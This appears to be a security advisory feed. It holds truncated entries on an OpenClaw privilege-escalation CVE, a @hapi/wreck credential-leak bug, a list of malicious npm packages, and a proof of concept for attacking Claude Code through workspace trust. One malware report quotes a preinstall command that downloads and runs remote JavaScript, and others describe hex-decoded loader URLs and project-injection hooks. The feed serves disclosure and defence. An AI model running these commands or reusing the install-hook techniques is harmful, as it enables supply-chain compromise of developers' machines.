CVE-2026-53814

OpenClaw before 2026.5.20 contains a privilege-escalation vulnerability in which a hook-triggered agent runs with owner-scoped MCP loopback authority instead of the hook-appropriate scope. Attackers with a valid hook token can use the /hooks/agent endpoint to cause spawned CLI runtimes to access ...

CVE-2026-53814 OpenClaw < 2026.5.20 - Privilege Escalation via Hook-Triggered CLI MCP Tool Authority

OpenClaw before 2026.5.20 contains a privilege escalation vulnerability where hook-triggered agent runs incorrectly receive owner-scoped MCP loopback authority instead of hook-appropriate scope. Attackers with a valid hook token can exploit the /hooks/agent endpoint to cause spawned CLI runtimes ...

@hapi/wreck: Sensitive credential headers leak across cross-port and cross-scheme redirects

Impact Wreck strips credential headers Authorization, Cookie, Proxy-Authorization before following a cross-origin redirect, but the origin check compares hostnames only and ignores scheme and port. As a result, credentials are forwarded intact across same-host port changes and HTTPS-to-HTTP...

Insufficiently Protected Credentials

Overview @hapi/wreck is a HTTP Client Utilities library. Affected versions of this package are vulnerable to Insufficiently Protected Credentials due to the improper origin validation in the cross-origin redirect handling. An attacker can obtain sensitive credential headers by crafting cross-port...

GHSA-X426-X7CC-3FPC @hapi/wreck: Sensitive credential headers leak across cross-port and cross-scheme redirects

Impact Wreck strips credential headers Authorization, Cookie, Proxy-Authorization before following a cross-origin redirect, but the origin check compares hostnames only and ignores scheme and port. As a result, credentials are forwarded intact across same-host port changes and HTTPS-to-HTTP...

Malicious code in sn-internal-testjgsakjdkjadkjahsdkjad (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b71b954927bd19d1ae8c3bef3965b4cbbaae3cc1f29c34ae6f90f36b2cd7f7fe package.json declares a preinstall lifecycle hook that runs curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js. On any npm install,...

MAL-2026-5646 Malicious code in sn-internal-testjgsakjdkjadkjahsdkjad (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b71b954927bd19d1ae8c3bef3965b4cbbaae3cc1f29c34ae6f90f36b2cd7f7fe package.json declares a preinstall lifecycle hook that runs curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js. On any npm install,...

Malicious code in cache-section-helper (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cad3d2732831e4b798073aff289abd1abdbb718b4caa9e4f970a0dd3f7733653 package.json declares a postinstall hook node -e "require'./loader.js'" that runs automatically on every npm install. loader.js hex-decodes the strin...

MAL-2026-5604 Malicious code in cache-section-helper (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cad3d2732831e4b798073aff289abd1abdbb718b4caa9e4f970a0dd3f7733653 package.json declares a postinstall hook node -e "require'./loader.js'" that runs automatically on every npm install. loader.js hex-decodes the strin...

MAL-2026-5615 Malicious code in sysau (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2b9246e768a775d54485e7208d0ed4fc575af09bc78c3fde95c5cb24ebc2350d Package advertises itself as a 'System binary configuration tool' but ships pointer.py spawned by index.js which hardcodes...

MAL-2026-5579 Malicious code in webpack-cache-cycle (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 82fa37e2478a7109e376e3a062ccb203806511033930eb7390e45fe7ef404b81 On npm install, package.json's postinstall hook runs node -e "require'./loader.js'". loader.js spawns a detached node process that decodes a...

Malicious code in webpack-cache-cycle (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 82fa37e2478a7109e376e3a062ccb203806511033930eb7390e45fe7ef404b81 On npm install, package.json's postinstall hook runs node -e "require'./loader.js'". loader.js spawns a detached node process that decodes a...

Malicious code in webpack-cache-reset (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fee0027f45dd4846b52b99120af39a0bca88f8693047612e946cd8d816f36e6c On npm install, the package's postinstall hook runs loader.js, which hex-decodes the URL https://jsonkeeper.com/b/INN1F an anonymous JSON paste host,...

Malicious code in webpack-cache-clean (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8f8656d094ec59721c08eb72a1ec8f1530cd07985edf705032926dd9a19461d9 On npm install, the package runs a postinstall hook node -e "require'./loader.js'" that spawns a detached child process. The child decodes an...

MAL-2026-5562 Malicious code in @koadz/sso (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d284d5d0421ad906d63959ed4e0f3354106166311f4066ff794669f52d1eacfb package.json declares a postinstall hook that runs dist/index.js. The compiled bundle contains an appended payload absent from the index.ts source...

claude-code-f002-poc

F002: Supply Chain Attack via Non-Interactive Workspace Trust...

MAL-2026-5575 Malicious code in testzapier (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5840f2a3b34d7f32de7243a146ecf85ac875bd1ef09b0ba9a395d08e356084f package.json declares a preinstall hook node index.js that fires automatically on npm install. index.js spawns a shell that runs curl -X POST against...

Malicious code in testzapier (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a5840f2a3b34d7f32de7243a146ecf85ac875bd1ef09b0ba9a395d08e356084f package.json declares a preinstall hook node index.js that fires automatically on npm install. index.js spawns a shell that runs curl -X POST against...

MAL-2026-5550 Malicious code in @my_name_is_khn/express-security-tool (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6b7e17fc1e874d13547ace24c7b21593ce1eb13337d0d877a89c7a372974ee42 On npm install, the package's postinstall hook scripts/inject.js locates the installer's host project root, identifies the main entry file index.js,...

Malicious code in express-self-destruct (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d0097503a7ecd7b5e3b97213de29b36d5e957a305f7829cc45f43aa5aa3da817 On npm install, the package's postinstall hook node scripts/inject.js walks up from the install directory to locate the consumer's project root and...